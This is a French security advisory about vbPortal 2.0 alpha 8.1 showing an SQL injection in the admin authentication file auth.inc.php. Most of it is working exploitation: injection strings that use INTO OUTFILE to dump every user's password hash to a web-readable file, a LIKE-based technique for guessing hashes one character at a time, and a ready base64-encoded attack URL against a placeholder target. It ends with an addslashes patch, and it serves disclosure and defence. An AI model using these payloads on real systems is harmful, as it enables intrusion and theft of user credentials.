vbPortal ******** Informations : °°°°°°°°°°°°°° Langage : PHP Version : 2.0 alpha 8.1 Website : http://www.vbportal.com Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° vbPortal est un portail dont le code est plus ou moins basé sur PHP-Nuke, mais qui est fait pour s'ajouter au forum vBulletin et d'une certaine manière le compléter (en faire un CMS complet). Le problème se trouve dans le fichier auth.inc.php, qui est le fichier d'authentification admin. On y voit le code suivant : ----------------------------------------------------------------------------------------- [...] if(isset($admin)) { $admin = base64_decode($admin); $admin = explode(":", $admin); $aid = "$admin[0]"; $pwd = "$admin[1]"; if ($aid=="" || $pwd=="") { $admintest=0; echo "\n"; echo "INTRUDER ALERT!!!\n"; echo "\n\n


\n\n"; echo "


\n"; echo "Get Out!
\n"; echo "\n"; echo "\n"; exit; } $result=mysql_query("SELECT password as pwd FROM user WHERE username = '$aid'"); // $result=mysql_query("select pwd from $prefix"._authors." where aid='$aid'"); if(!$result) { echo "Selection from database failed!"; exit; } else { list($pass)=mysql_fetch_row($result); if($pass == $pwd && $pass != "") { $admintest = 1; } } } [...] ----------------------------------------------------------------------------------------- L'injection peut se faire dans la requête SQL : SELECT password as pwd FROM user WHERE username = '$aid' grâce la variable $aid. Voyons d'abord ce qu'il est possible de faire et le résultat qui s'affiche, puis nous verrons comment l'appliquer. D'abord on peut récupérer tout les mots de passe de la table 'user' en donnant à $aid la valeur : ' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt (/complete/path/ étant le chemin vers le repertoire du site web) ce qui donnera comme requête : SELECT password as pwd FROM user WHERE username = '' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt' 1=1 renvoyant toujours 'vrai', tout les mots de passe seront expédiés vers le fichier UserTable.txt, qui sera accessible via l'url http://[target]/UserTable.txt grâce à INTO OUTFILE. Rappel pour pouvoir utiliser INTO OUTFILE, en plus du fait que l'option doit être dans la version MySQL utilisée : - Il faut indiquer le chemin complet du fichier dans lequel enregistrer le résultat - Le fichier ne peut pas déjà exister (ce qui empêchera de remplacer des fichiers comme /etc/passwd) - On doit avoir les privilèges de la gestion de fichiers Quand on utilise INTO OUTFILE, le résultat de la requête est 0. On tombe donc sur la condition 'if(!$result) {', et on voit s'afficher la ligne : 'Selection from database failed!' ou une page disant qu'il n'y a pas eu de résultat. Une autre possibilité est de cracker des informations, comme le mot de passe (crypté en md5 dans la DB, mais qui pourrait être utilisé via un cookie pour accèder au compte). Pour se faire il faut utiliser LIKE. Par exemple en donnant à $aid la valeur : ' OR pwd LIKE 'a%, on aura la requête : SELECT password as pwd FROM user WHERE username = '' OR pwd LIKE 'a%' et, si le mot de passe crypté commence bien par a, on aura un résultat est rien ne s'affichera sur la page. Si il n'y a pas de résultat, cette fois encore, c'est le message 'Selection from database failed!' qui s'affichera. Voyons maintenant comme l'injecter. On voit le code : --------------------------------- if(isset($admin)) { $admin = base64_decode($admin); $admin = explode(":", $admin); $aid = "$admin[0]"; $pwd = "$admin[1]"; if ($aid=="" || $pwd=="") { [...] exit; } --------------------------------- On voit ici que $admin est crypté en base64, et on le décrypte. Puis que $admin est transformé en tableau, chaque élément étant les éléments qui, dans la string, était séparé par ':'. On voit que $aid est le premier élément de ce tablea, que $pwd est le deuxième, et qu'aucun des deux ne doit être vide sinon le script est quitté. Créons d'abord cette variable $admin, puis cryptons la en base64. Pour la première exploitation, $admin sera : ' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1 et pour la deuxième : ' OR pwd LIKE 'a%:1 Comme exemple, je vais juste crypter la première exploitation, ce qui donne : JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE= Pour enregistrer tout les passes cryptés dans le fichier, il suffira donc de se rendre à l'url : http://[target]/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE= Pour crypter en base 64, j'ai uploadé un petit fichier .html : http://membres.lycos.fr/aaoaoaa/YmFzZTY0.html Conclusion... ce genre de failles est très souvent présent dans le MySQL (je crois d'ailleurs qu'il y en a une autre dans le même fichier), mais la caractèristique ici est que, étant codé en base64, l'élément injecté n'est pas addslashé par l'option magic_quotes_gpc. Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Dans auth.inc.php, il suffit de remplacer la ligne : --------------------- $aid = "$admin[0]"; --------------------- par : ------------------------------- $aid = addslashes($admin[0]); ------------------------------- Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 12/09/03